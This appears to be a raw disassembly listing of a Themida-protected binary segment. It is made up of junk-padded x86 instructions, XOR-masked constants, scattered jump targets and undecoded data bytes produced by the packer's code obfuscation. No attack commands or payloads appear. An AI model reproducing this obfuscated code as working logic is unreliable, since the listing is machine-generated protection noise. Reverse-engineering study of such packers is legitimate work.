dd 0E3810000h, 0FD014E7h, 4DE9D3F7h
db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54ADB3: ; CODE XREF: Themida_:0054C254j
mov edi, 3B2D5E90h
dec edi
jmp loc_54B291
; ---------------------------------------------------------------------------
dw 1489h
dd 7D4CBA24h, 54291616h, 148B0424h, 4C48124h, 0E9000000h
dd 0FFFF8C48h, 6E1C15Dh, 0FFC936E9h, 0BEB850FFh, 0E961575Eh
dd 0FFFFACF2h, 0F96CEA81h, 0D7011E86h, 2C7835Ah, 2474FF57h
dd 243C8B04h, 8F04C483h, 248B2404h, 0CFF6624h, 0DE99C24h
dd 33FFFF8Ch, 685C241Ch, 149Eh, 0C2E9h, 2C48300h, 5AF028h
dd 689D04D8h, 72E6h, 0B2241489h, 13B15116h, 0D2F6D186h
dd 0C180D186h, 4E9C0E9h, 2A4BE9h, 5DEA0100h, 0E4E9DA01h
dd 81FFFFBAh, 8552CC6h, 0B9F4E91Ch, 8B66FFFFh, 0F7682404h
dd 89000010h, 8B54242Ch, 0C483242Ch, 0E31EE904h, 3C28FFFFh
dd 243C8A24h, 0FFD082E9h, 0AFCE81FFh, 0E935F035h, 4009h
; ---------------------------------------------------------------------------
loc_54AE8C: ; CODE XREF: Themida_:00545A0Bj
pop esp
loc_54AE8D: ; CODE XREF: Themida_:0054DC98j
push ebx
push ecx
mov ecx, 17910F80h
jmp loc_5451F4
; ---------------------------------------------------------------------------
db 4, 0BAh, 0E9h
dd 0FFFFFBCCh
; ---------------------------------------------------------------------------
loc_54AEA0: ; CODE XREF: Themida_:00548ADBj
xchg eax, [esp]
not eax
xchg eax, [esp]
jmp loc_545EA2
; ---------------------------------------------------------------------------
loc_54AEAD: ; CODE XREF: Themida_:0054B23Cj
add ebp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
add eax, edx
pop edx
push 305Fh
mov [esp], edi
jmp loc_54C4D1
; ---------------------------------------------------------------------------
dd 2C781h, 0A0E90000h
db 98h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54AEDB: ; CODE XREF: Themida_:0054DE7Fj
mov [esp], ecx
jmp loc_54B29C
; ---------------------------------------------------------------------------
db 89h
dd 20BA2414h, 81000000h, 580465EAh, 81FA0145h, 580465C2h
dd 11328145h, 5A013006h, 81E68956h, 4C6h, 4EE8300h, 5C243487h
dd 68241C89h, 0
dd 5B2434FFh, 0FF8E95E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54AF21: ; CODE XREF: Themida_:0054EE4Dj
add edi, 6F5101BFh
jmp loc_548C8E
; ---------------------------------------------------------------------------
dd 0D800E32Ch, 0F622B353h, 80CBFED3h, 0CB8039C3h, 80DBF6CFh
dd 53E9C2F3h, 5000029h, 448369B7h, 98083705h, 0E9F0297Fh
dd 0FFFFB72Eh, 28742CACh, 0EC8351D8h, 24148904h, 0FF93B3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54AF69: ; CODE XREF: Themida_:0054509Fj
xor esi, 3D02005Dh
sub esi, 0F2873D74h
push edi
mov edi, esi
mov eax, edi
pop edi
mov esi, [esp]
add esp, 4
xor eax, 74662F62h
add ebp, 31090B1Eh
add ebp, eax
jmp loc_54896B
; ---------------------------------------------------------------------------
dw 56B9h
dd 31ACC1C4h, 1E7E9CDh, 0D7F60000h, 9E9EFD0h
db 92h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54AFAB: ; CODE XREF: Themida_:0054E990j
xchg edx, edi
push 7CA9h
jmp loc_54D9C7
; ---------------------------------------------------------------------------
db 51h
dd 36B0F1B5h, 0C8BE830h, 44B6E924h, 0BA520000h, 3E4F34A1h
dd 0DBF6E942h, 5251FFFFh, 661CB951h, 0C1815047h, 7D947261h
dd 0D6D5E981h, 0C181933Dh, 7DB0EDCh, 0C159CA89h, 0B95104E2h
dd 6C4C2DA7h, 8102E9C1h, 167001E1h, 34CEE92Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B006: ; CODE XREF: Themida_:00548327j
push dword ptr [esp]
pop eax
jmp loc_5493E4
; ---------------------------------------------------------------------------
db 68h
dd 3E27h, 56241489h, 5964BEBEh, 64BF5737h, 0F726F46Ch
dd 97EF81D7h, 4F403A02h, 63C2CF81h, 0EF813C39h, 0DA03A9Fh
dd 2267F781h, 0FE0167FFh, 81243C8Bh, 4C4h, 0BF575600h
dd 69296AB1h, 4247C29h, 0FFB68AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54B059: ; CODE XREF: Themida_:005498B0j
mov ebp, edi
pop edi
jmp loc_54A8D4
; ---------------------------------------------------------------------------
loc_54B061: ; CODE XREF: Themida_:0054B2A6j
pop ebx
jmp loc_543A7E
; ---------------------------------------------------------------------------
db 1
dd 0E90288DAh, 3114h, 9D6E10BBh, 5BD88903h, 815BD831h
dd 0C627DCC7h, 81C70155h, 0C627DCEFh, 0D5D8E955h, 0B951FFFFh
dd 4, 0FAE9CB01h, 2CFFFFA5h, 34FF5AD1h, 0C4835B24h, 0FC33004h
dd 8F66C0B6h, 6DE98704h, 5AFFFF89h, 0DE0087B6h, 76C6805Bh
dd 8904EC83h, 0A4E92404h
db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B0C7: ; CODE XREF: Themida_:00548728j
push esi
mov esi, 28B17C12h
add eax, esi
jmp loc_5461CA
; ---------------------------------------------------------------------------
aRsRiSt? db 'RS³rˆÚ[ét?',0
align 10h
dd 0AC2814Ah, 57283176h, 5CFAB951h, 5CBF151Ah, 3114A85Ah
dd 240C8BCFh, 4C481h, 8CE90000h, 0BE00003Ah, 7F576038h
dd 4357E9h, 0C2815B00h, 42790A6Bh, 0FF1C5721h, 575A2434h
dd 0C7815F54h, 4, 4C781h, 3C870000h, 24248B24h, 0FF88EBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54B135: ; CODE XREF: Themida_:0054A262j
mov ebp, 1AF52C19h
jmp loc_5494CE
; ---------------------------------------------------------------------------
db 66h
dd 5EB25251h, 1615E9h, 0EE685700h, 0E9735027h, 0FFFFF47Eh
; ---------------------------------------------------------------------------
loc_54B154: ; CODE XREF: Themida_:0054F227j
add esp, 4
push esi
mov esi, esp
push 378Dh
mov [esp], edi
mov edi, 34AD5355h
dec edi
jmp loc_5481BB
; ---------------------------------------------------------------------------
loc_54B170: ; CODE XREF: Themida_:0054BDB4j
push edx
push dword ptr [esp+4]
pop edx
jmp loc_5447AF
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
mov ebx, 210D5463h
jmp loc_546426
; ---------------------------------------------------------------------------
db 8Bh, 0Ch, 24h
dd 2904C483h, 2434FFE8h, 4C4835Dh, 0FFAE02E9h, 4EF81FFh
dd 87000000h, 0D3E9243Ch, 50FFFF89h, 0FF9E45E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54B1B1: ; CODE XREF: Themida_:00547437j
and ebx, 6851AC0h
add ebx, 0FDFAE804h
sub edx, 505E3ED0h
add edx, ebx
add edx, 505E3ED0h
pop ebx
add edx, 4
xchg edx, [esp]
pop esp
push 21FFh
mov [esp], edx
push 40F5h
jmp loc_54F267
; ---------------------------------------------------------------------------
dd 4C481h, 0C15E0000h, 0BF5707E1h, 25322A07h, 0BA52h, 0FA290000h
dd 815AD789h, 7E588EEFh, 5FF93185h, 6859C831h, 72C3h, 0BE243489h
dd 5BF2253Ah, 0A6CBE955h, 0EE81FFFFh, 8C1008h, 8D3CE81h
dd 0E9576973h, 0FFFFC09Ch
; ---------------------------------------------------------------------------
loc_54B234: ; CODE XREF: Themida_:00545413j
add dword ptr [esp], 4
pop ebp
jmp loc_54AEAD
; ---------------------------------------------------------------------------
loc_54B241: ; CODE XREF: Themida_:0054B4D8j
mov [esp], ebx
mov ebx, 3DF30CDBh
add ebx, 20CD95C7h
mov edx, ebx
jmp loc_5479BB
; ---------------------------------------------------------------------------
dw 335Ah
dd 0C31240Ch, 240C3324h, 0FF24248Bh, 48B2434h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], edi
jmp loc_546EB7
; ---------------------------------------------------------------------------
db 33h
dd 34312434h, 24343324h, 0FFEADDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54B291: ; CODE XREF: Themida_:0054ADB9j
xchg edx, edi
not edx
xor edi, edx
jmp loc_54F516
; ---------------------------------------------------------------------------
loc_54B29C: ; CODE XREF: Themida_:0054AEDEj
mov ecx, 0
add ecx, ebx
xor [ecx], ebp
pop ecx
jmp loc_54B061
; ---------------------------------------------------------------------------
db 80h
dd 8E901C2h, 0AD000047h, 46C0BB53h, 0D8293B87h
db 5Bh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_547501
; ---------------------------------------------------------------------------
aFrs6 db 'fRé',0Dh,'6',0
dd 241C8B00h, 4C481h, 0C3810000h, 9E78C885h, 0C4E9D989h
dd 8BFFFFDBh, 0E4E9240Ch, 8900000Eh, 0AAB7241Ch, 78E95066h
dd 50FFFFF6h, 0D76990B8h, 0E0F2527h, 0E8C120C7h, 0A4CCE905h
dd 248BFFFFh, 240CFF24h, 8702E99Ch, 5352FFFFh, 89B29DB7h
dd 81E9FA28h, 52FFFFE0h, 0FFA06AE9h, 81F229FFh, 0B7209FC2h
dd 0E1E95E74h, 0C1FFFF86h, 0B1E907EBh, 8700003Dh, 7CE9242Ch
dd 87000029h, 248B240Ch, 2434FF24h, 5224048Bh, 0C281E289h
dd 4, 4C281h, 14870000h, 9FE95C24h, 0C100000Ah, 6DE908E3h
dd 89FFFFA8h, 14E9241Ch
db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B383: ; CODE XREF: Themida_:0054EEE2j
sub esi, 0E8814493h
xor edx, esi
pop esi
or esi, edx
pop edx
xor esi, 9A7E5B68h
jmp loc_547B23
; ---------------------------------------------------------------------------
loc_54B39A: ; CODE XREF: Themida_:0054E287j
xchg esi, ebx
not esi
xchg esi, ebx
xor ebx, 0A56D6C28h
jmp loc_5495C9
; ---------------------------------------------------------------------------
loc_54B3AB: ; CODE XREF: Themida_:00549B19j
mov esp, [esp]
push edx
mov edx, 4
jmp loc_547363
; ---------------------------------------------------------------------------
db 2Dh, 0C5h, 0Ah
dd 0CB2D2097h, 2910AA6Eh, 6ECB05E8h, 8FE910AAh, 66FFFFC1h
dd 6824048Bh, 1375h, 68240489h, 2BAFh, 0FFA79EE9h, 5FFA01FFh
dd 5204C283h, 0FFC5AFE9h, 4EC81FFh, 89000000h, 74FF243Ch
dd 0E95F0424h, 0FFFF9B29h, 1FDDB951h, 0FF5164EAh, 0E959240Ch
dd 0FFFFABC4h, 4EC81h, 0AFE90000h, 8300000Dh, 48904ECh
dd 66B7B824h, 28BF4961h, 313DD646h, 0FA2958C7h, 83243C8Bh
dd 0F2E904C4h, 68FFFFFEh, 455D727Dh, 73AE2D5Dh, 6AE93574h
dd 1FFFFFFh, 0D342E9D3h, 0C7B3FFFFh, 80EFCB80h, 0D8003EC3h
dd 2434FF5Bh, 5954515Ah, 4C181h, 0C1830000h, 240C8704h
dd 2B26E95Ch, 0D2F60000h, 0FFCA51E9h, 0E95F58FFh, 2E9Ah
dd 724BBB53h, 0DE2140DBh
db 8Bh, 1Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_54FB58
; ---------------------------------------------------------------------------
loc_54B4A7: ; CODE XREF: Themida_:0054787Dj
mov ebp, 1
push edi
jmp loc_544593
; ---------------------------------------------------------------------------
loc_54B4B2: ; CODE XREF: Themida_:00549DBFj
not dword ptr [esp]
pop edi
push ecx
mov ecx, 2C752CA3h
dec ecx
xor ecx, 7B5D4072h
add ecx, 388B40B0h
xor ecx, 0DDF2B50Ch
or edi, ecx
pop ecx
push edx
push 1F79h
jmp loc_54B241
; ---------------------------------------------------------------------------
loc_54B4DD: ; CODE XREF: Themida_:005455F1j
sub esp, 4
mov [esp], ebx
mov ebx, 3C46092Fh
add edi, ebx
push dword ptr [esp]
pop ebx
add esp, 4
xor edi, 5A4BA5A0h
and eax, edi
jmp loc_54DC8F
; ---------------------------------------------------------------------------
loc_54B501: ; CODE XREF: Themida_:005472C2j
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push esi
mov esi, 479D1374h
jmp loc_5499E0
; ---------------------------------------------------------------------------
dd 1762C281h, 0D001042Bh, 6435055Ah, 665E137Eh, 6600B60Fh
dd 66202368h, 0E9240489h, 0FFFF84E4h, 0FD88D2B7h, 0BDFBE95Bh
dd 0EE01FFFFh, 146EBF57h, 0DFF73E0Ah, 3B59F781h, 0BCE9001Eh
db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B55B: ; CODE XREF: Themida_:00545AEBj
mov edi, [esp]
add esp, 4
neg esi
jmp loc_54D1A9
; ---------------------------------------------------------------------------
loc_54B568: ; CODE XREF: Themida_:00548941j
sub edi, 42F83226h
add edi, ebx
add edi, 42F83226h
pop ebx
add edi, 4
xchg edi, [esp]
pop esp
push edx
push eax
jmp loc_54F63D
; ---------------------------------------------------------------------------
loc_54B585: ; CODE XREF: Themida_:00547725j
add ebp, 4
jmp loc_54B610
; ---------------------------------------------------------------------------
dd 7F371705h, 505B5949h, 405E089h, 2D000000h, 4, 5C240487h
dd 0FFA3C2E9h, 0E38953FFh, 563CB850h, 0C805006Ch, 1FF93A9h
dd 60E958C3h, 33000024h, 3C31243Ch, 243C3324h, 0FF9AD3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54B5D1: ; CODE XREF: Themida_:0054D94Ej
xor dword ptr [esp], 4CC365C8h
pop ecx
xor ecx, 4CC365C8h
pop ebx
push dword ptr [esp]
pop ebp
add esp, 4
rep movsd
add esp, [edx+38h]
push ebp
mov ebp, 77E747F1h
jmp loc_54DE53
; ---------------------------------------------------------------------------
dw 525Ah
dd 4BAh, 0E9D60100h, 0FFFFC594h, 0E956F701h, 1A3Ch
; ---------------------------------------------------------------------------
loc_54B610: ; CODE XREF: Themida_:0054B58Bj
add ebp, 4
xchg ebp, [esp]
pop esp
sub esp, 4
mov [esp], edi
pop ebx
jmp loc_548FE4
; ---------------------------------------------------------------------------
db 0C1h, 0EAh, 2
dd 0C281DAF7h, 0ACA01F0Eh, 4B76BB53h, 0F3815254h, 1C953F94h
dd 593FEB81h, 0DA09E8AFh, 9BB9515Bh, 81719C5Ch, 5F7228C9h
dd 22D9E93Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B65A: ; CODE XREF: Themida_:0054E190j
pop ecx
pop dword ptr [esp]
jmp loc_546EFA
; ---------------------------------------------------------------------------
db 1
dd 0A8E95EF2h, 83000038h, 48904ECh, 806BB424h, 0E95253F4h
dd 0FFFFA20Bh, 4BE56h, 0F0290000h, 1362E9h, 5FFA0100h
dd 0C65BC281h, 0C181DFBCh, 2A284AD7h, 16E9D101h
db 45h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B69F: ; CODE XREF: Themida_:0054A408j
mov edx, [esp]
add esp, 4
jmp loc_54C3E8
; ---------------------------------------------------------------------------
loc_54B6AA: ; CODE XREF: Themida_:005498A5j
add bl, 21h
mov ecx, [esp]
add esp, 4
push ecx
mov cl, 0D5h
shr cl, 8
or cl, 0EAh
jmp loc_54724D
; ---------------------------------------------------------------------------
dd 4CD2B951h, 0E1C146E6h, 0D9F74905h, 7D94F181h, 0F1817D8Ah
dd 192D45F1h, 8959C831h, 0E98358C1h, 4E9C101h, 0E9D1D1F7h
dd 0FFC91DE9h, 3FEB81FFh, 583A6C38h, 0FFEE15E9h, 5FFE89FFh
dd 1DE9F101h, 8000000Dh, 0EF0081F5h, 5E7C059h, 8074F780h
dd 0F80033C7h, 0FFCC0FE9h, 4C581FFh, 55000000h, 42474FFh
dd 24048F5Dh, 8BE9525Ch, 81FFFFDAh, 6A0B9FEEh, 5EF02908h
dd 0FFABB6E9h, 48B66FFh, 4AC06824h, 1C890000h, 4D506824h
dd 41E90000h, 83000023h, 348904ECh, 407DE924h, 93050000h
dd 0E9316C67h, 15B8h
; ---------------------------------------------------------------------------
loc_54B76C: ; CODE XREF: Themida_:00544409j
xor esi, 30DF3BB5h
jmp loc_5451C0
; ---------------------------------------------------------------------------
db 5Ah
dd 0FFFC68E9h, 240C8BFFh, 4C481h, 92E90000h, 89FFFF8Eh
dd 0E789243Ch, 6BC5BA52h, 0E2C167EEh, 20F28103h, 813FE55Dh
dd 0C16302C2h, 24A1E93Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B7AA: ; CODE XREF: Themida_:0054EA1Fj
mov esi, edx
pop edx
mov edi, [esp]
add esp, 4
push ecx
jmp loc_54FAE2
; ---------------------------------------------------------------------------
dd 15E9E929h, 81FFFFF6h, 542C97E2h, 1C28169h, 50000000h
dd 405E089h, 0E9000000h, 0FFFFA766h, 0E92434FFh, 0FFFFD9B6h
dd 0EC81C300h, 4, 5DBE9h, 58336800h, 4890000h, 3021B424h
dd 0FE3058E7h, 5B2434FFh, 0FF8972E9h, 8DC380FFh, 0F2DC380h
dd 34FFC0B6h, 8DBA5287h, 8124E114h, 0BD5E11EAh, 0A8EA8103h
dd 0C1663414h, 0D2F704E2h, 1DEEC281h, 5429ECC8h, 0ABE90424h
dd 6600003Fh, 5724048Bh, 435A68h, 24248900h, 9CE95553h
db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B84F: ; CODE XREF: Themida_:0054A9E2j
xchg ebx, ecx
and ecx, 648161FFh
shr ecx, 1
xor ecx, 0ED150040h
add ebp, ecx
pop ecx
jmp loc_546E52
; ---------------------------------------------------------------------------
loc_54B867: ; CODE XREF: Themida_:0054D31Ej
mov eax, [esp]
add esp, 4
jmp loc_54EF78
; ---------------------------------------------------------------------------
dw 0B151h
dd 59CC8859h, 8058E788h, 0E7C060C7h, 0B5515004h, 2ED8084h
dd 0AA0E9h, 0E9CB2900h, 0FFFFBF4Dh
; ---------------------------------------------------------------------------
loc_54B894: ; CODE XREF: Themida_:0054F645j
xor ah, 69h
push edx
mov dh, 1Ah
sub dh, 0EFh
jmp loc_54BB4B
; ---------------------------------------------------------------------------
dw 0D931h
dd 59C8295Bh, 5C240487h, 54240C89h, 4C18159h, 83000000h
dd 0C8702C1h, 2AA0E924h, 59E90000h, 28FFFF81h, 9516E9D3h
dd 0D4F6FFFFh, 0FE04E4C0h, 0EEEC80CCh, 6658E628h, 0E9E0B450h
dd 2DC2h
; ---------------------------------------------------------------------------
loc_54B8E4: ; CODE XREF: Themida_:0054501Cj
push 397Bh
mov [esp], ebx
push edi
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_54418A
; ---------------------------------------------------------------------------
db 0C0h, 0E7h, 2
dd 2454F653h, 0C7805B01h, 0E9FA08C9h, 3640h, 8704C283h
dd 95C2414h, 0E95A1C57h, 0FFFF8100h, 0C281E289h, 4, 4C281h
dd 14330000h, 24143124h, 0E9241433h, 0FFFFA28Bh, 0E95EF189h
dd 0FFFF845Eh, 0E924248Bh, 853h, 85EBE952h, 0E95CFFFFh
dd 0FFFF860Ch
; ---------------------------------------------------------------------------
loc_54B958: ; CODE XREF: Themida_:00549E2Dj
push 0
sub [esp], ebp
jmp loc_54A4AB
; ---------------------------------------------------------------------------
db 88h, 0F3h, 88h
dd 1E21E9D8h, 0C7810000h, 7FDE7350h, 4247C01h, 81243C8Bh
dd 4C4h, 809AE900h, 0B951FFFFh, 4, 0E959C801h, 0FFFFED30h
; ---------------------------------------------------------------------------
loc_54B994: ; CODE XREF: Themida_:005498E4j
push 2274h
mov [esp], ebp
jmp loc_5480C2
; ---------------------------------------------------------------------------
loc_54B9A1: ; CODE XREF: Themida_:00546FFAj
sub edi, 4E48171Bh
add ebp, edi
jmp loc_54DE40
; ---------------------------------------------------------------------------
dw 814Eh
dd 0CC215AF6h, 3E6C125h, 3333EE81h, 0BEE91CE0h, 29FFFF99h
dd 575559CFh, 3481555Dh, 0A46F1424h, 0EE95E26h
db 29h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B9D7: ; CODE XREF: Themida_:0054CDBEj
mov [esp], ebx
jmp loc_548FA8
; ---------------------------------------------------------------------------
db 1
dd 0B7EAE9CBh, 4868FFFFh, 8900001Bh, 5152240Ch, 0F18013B1h
dd 0CDC1800Ch, 8867C180h, 885359CAh, 5BD988D3h, 0C737E95Ah
dd 0B252FFFFh, 68E0h, 14280000h, 24148A24h, 81E18951h
dd 4C1h, 4C18300h, 5C240C87h, 5BB35350h, 0E9CAEB80h, 0FFFFA9A7h
dd 49A768h, 240C8900h, 483DBA52h, 24E97B10h, 0ADFFFFD7h
dd 2584E9h
db 0
; ---------------------------------------------------------------------------
loc_54BA4D: ; CODE XREF: Themida_:00548C9Aj
sub edi, ebp
push ebp
mov ebp, 44CA73ABh
sub edi, ebp
pop ebp
mov ebp, [esp]
add esp, 4
and eax, edi
push dword ptr [esp]
pop edi
add esp, 4
shr eax, 0Eh
xor eax, ecx
sub esp, 4
mov [esp], eax
xor [esp], eax
xor eax, [esp]
xor [esp], eax
sub esp, 4
jmp loc_54A8DD
; ---------------------------------------------------------------------------
loc_54BA8C: ; CODE XREF: Themida_:0054D966j
mov esp, [esp]
jmp loc_54868B
; ---------------------------------------------------------------------------
dd 5C240487h, 8904EC83h, 0C6E9241Ch, 66000022h, 6612E6B9h
dd 6604E1C1h, 0E904E9C1h, 0FFFFEBFCh, 295FFB01h, 4EC81C3h
dd 89000000h, 3768240Ch, 8900006Bh, 0E953242Ch, 0E08h
dd 4BC28142h, 0E97CC51Dh, 0FFFFDC4Ah
; ---------------------------------------------------------------------------
loc_54BADC: ; CODE XREF: Themida_:0054C01Ej
push edx
mov edx, 2AE052A7h
jmp loc_54DC89
; ---------------------------------------------------------------------------
db 89h
dd 0BF572404h, 5AF74507h, 0FC0011B8h, 5FF83103h, 12D4040h
dd 48000000h, 0FF840CE9h, 5EF029FFh, 0AC7C4135h, 6CF6684Ch
dd 5DE90000h, 0B800002Dh, 6BB83BBFh, 5D8F748h, 8C759B97h
dd 8158C789h, 0E24D7FEFh, 0F0C7815Eh, 0F7545057h, 81DFF7D7h
dd 0D495B9C7h, 0FBBBE9E9h, 8B66FFFFh, 3E9240Ch
db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BB4B: ; CODE XREF: Themida_:0054B89Dj
sub dh, 0C4h
or ah, dh
pop edx
jmp loc_546249
; ---------------------------------------------------------------------------
dw 0E5C1h
dd 81ED8102h, 450DAD7Fh, 0BE1CBF57h, 26E9920Eh, 0B8000032h
dd 30965796h, 3179E9h, 9CA8000h, 301DF280h, 24148BD0h
dd 81E38953h, 4C3h, 33D0E900h, 54510000h, 4C18159h, 81000000h
dd 4C1h, 240C8700h, 86B8E95Ch, 1C8BFFFFh, 4C48324h, 5D86BB53h
dd 0E94B4D38h, 112Ah, 33E9DF01h
db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BBBF: ; CODE XREF: Themida_:0054F2F7j
mov ebx, 28B17C12h
jmp loc_548722
; ---------------------------------------------------------------------------
db 0B2h, 23h, 28h
dd 24148BD3h, 4C481h, 0B60F0000h, 8734FFC0h, 8904EC83h
dd 27E92404h
db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BBE7: ; CODE XREF: Themida_:005455FEj
mov edx, [esp]
jmp loc_54A3AE
; ---------------------------------------------------------------------------
db 0FFh
dd 0E9592434h, 0FFFFEAA8h
; ---------------------------------------------------------------------------
loc_54BBF8: ; CODE XREF: Themida_:0054E30Dj
sub ecx, 16C63DE6h
sub ecx, ebx
push ebx
mov ebx, 16C63DE6h
add ecx, ebx
pop ebx
push dword ptr [esp]
pop ebx
jmp loc_54DFAE
; ---------------------------------------------------------------------------
loc_54BC12: ; CODE XREF: Themida_:0054F96Ej
shl ecx, 3
jmp loc_547A29
; ---------------------------------------------------------------------------
dw 0BD55h
dd 79AF4CC6h, 0F702EDC1h, 3E5C1DDh, 8107E5C1h, 0AAE09EC5h
dd 5DE829F1h, 87E9F001h
db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BC3B: ; CODE XREF: Themida_:00543FDCj
push 2AC5h
mov [esp], esi
push dword ptr [esp+4]
jmp loc_544090
; ---------------------------------------------------------------------------
dd 62E1CD81h, 0C581643Dh, 6E55CB4h, 0EC81E5D1h, 4, 0BE243489h
dd 36E43CB3h, 64E9F509h
db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BC6F: ; CODE XREF: Themida_:0054A760j
xor ecx, 5BAC310Fh
jmp loc_54452C
; ---------------------------------------------------------------------------
dw 5966h
dd 1D78E9h
db 0
; ---------------------------------------------------------------------------
loc_54BC81: ; CODE XREF: Themida_:00543BAEj
shl edx, 8
jmp loc_54F36B
; ---------------------------------------------------------------------------
db 5Ch, 66h, 0D3h
dd 0E99C243Ch, 0FFFF7D8Ch, 0DCEF814Fh, 21A19068h, 0F5815FFDh
dd 0D7F7A5C0h, 2C8BEB89h, 0E058E924h, 0E981FFFFh, 76A036DEh
dd 240C8758h, 11D5E9h, 4EC8300h, 81243C89h, 4ECh, 24348900h
dd 8904EC83h, 0A8BD242Ch, 0E95D6A15h, 0FFFFABEFh, 0E904C483h
dd 0FFFFD626h
; ---------------------------------------------------------------------------
loc_54BCE4: ; CODE XREF: Themida_:00544618j
or edx, eax
shl edx, 1
push 6681h
mov [esp], ebx
push eax
push edx
push 0FFFFFFFFh
jmp loc_549518
; ---------------------------------------------------------------------------
dd 0C3815B54h, 4, 74F968h, 24148900h, 4BAh, 29B1E900h
dd 0DB680000h, 89000028h, 8B542434h, 0C4832434h, 4FFD6804h
dd 3C890000h, 0BF575124h, 1C63136h, 0E95FF989h, 0FFFF94F8h
dd 4EC81h, 3D680000h, 89000044h, 4812424h, 424h, 24048F00h
dd 4240481h, 5A000000h, 4C281h, 0EE680000h, 8900002Bh
dd 0BDE9243Ch, 81FFFFE2h, 9E6DB6C3h, 0E232E944h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BD7A: ; CODE XREF: Themida_:005460CDj
xor esi, 7FB66DD2h
add ebx, esi
pop esi
jmp loc_54A7A2
; ---------------------------------------------------------------------------
dd 5C243487h, 0E9243489h, 0FFFF986Fh, 0C104C483h, 39E907E3h
dd 68FFFF9Eh, 0C8CB2571h, 0FFA063E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54BDA9: ; CODE XREF: Themida_:0054D502j
mov edx, esp
add edx, 4
add edx, 4
jmp loc_54B170
; ---------------------------------------------------------------------------
loc_54BDB9: ; CODE XREF: Themida_:00549A7Cj
xor esi, 899ECFAAh
mov eax, esi
mov esi, [esp]
add esp, 4
jmp loc_54F472
; ---------------------------------------------------------------------------
dd 0E9240489h, 0FFFFD4DEh
; ---------------------------------------------------------------------------
loc_54BDD4: ; CODE XREF: Themida_:00544CE1j
push eax
mov eax, 0F6FDF97Fh
add edx, eax
pop eax
sub [edi+24h], edx
jmp loc_54EB61
; ---------------------------------------------------------------------------
db 1, 0C8h, 59h
dd 0B468D829h, 8900001Dh, 48E9242Ch
db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xor ebp, [esp]
jmp loc_54C483
; ---------------------------------------------------------------------------
db 31h
dd 3FBE9C8h, 6C680000h, 8900004Dh, 5B682414h, 0E900000Fh
dd 0FFFFE157h, 68E1D149h, 7CF4h, 0BB241C89h, 10C6140Ah
dd 7BE9D901h, 5CFFFFE9h, 582434FFh, 5E08950h, 4, 0E904E883h
dd 0FFFFBE6Eh
; ---------------------------------------------------------------------------
loc_54BE50: ; CODE XREF: Themida_:00549DB9j
pop edi
jmp loc_54DAA5
; ---------------------------------------------------------------------------
dw 0C483h
dd 8BF88904h, 0C483243Ch, 7BBAE904h, 814BFFFFh, 0D64955CBh
dd 7CBCE91Eh, 77FFFFFFh, 2434FF3Ch, 582434FFh, 5704C483h
dd 0EC81E789h, 4, 0FFA0F7E9h, 88C780FFh, 2C8AB050h, 0E9C0FE01h
dd 0FFFFE830h, 56240489h, 0E63672BEh, 4EDEF732h, 772CC681h
dd 0F0898B29h, 8124348Bh, 4C4h, 8BC22900h, 0C4812404h
dd 4, 6473EA81h, 21E93CE3h, 68FFFFBEh, 3E4h, 0FF805AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54BED9: ; CODE XREF: Themida_:0054ED24j
mov edi, esp
add edi, 4
sub esp, 4
jmp loc_543A62
; ---------------------------------------------------------------------------
loc_54BEEC: ; CODE XREF: Themida_:0054F216j
movzx eax, ax
push small 47D4h
mov [esp], ax
jmp loc_543A20
; ---------------------------------------------------------------------------
dd 0C2815A54h, 4, 4EA81h, 49E90000h, 0B1FFFFADh, 0E9C80811h
dd 0FFFFFD62h
; ---------------------------------------------------------------------------
loc_54BF18: ; CODE XREF: Themida_:0054C879j
add edx, ebx
jmp loc_549854
; ---------------------------------------------------------------------------
loc_54BF1F: ; CODE XREF: Themida_:00547B8Fj
add esp, 4
push ebx
mov ebx, 0B92D66h
sub ebx, 2CBF3528h
push ebx
push ecx
pop ebx
pop ecx
inc ecx
push ebx
jmp loc_54E0CC
; ---------------------------------------------------------------------------
loc_54BF39: ; CODE XREF: Themida_:00547F89j
push edi
mov edi, 49646A5Eh
jmp loc_545CD9
; ---------------------------------------------------------------------------
dd 66FDC780h, 0E998B652h, 0FFFFE8DAh
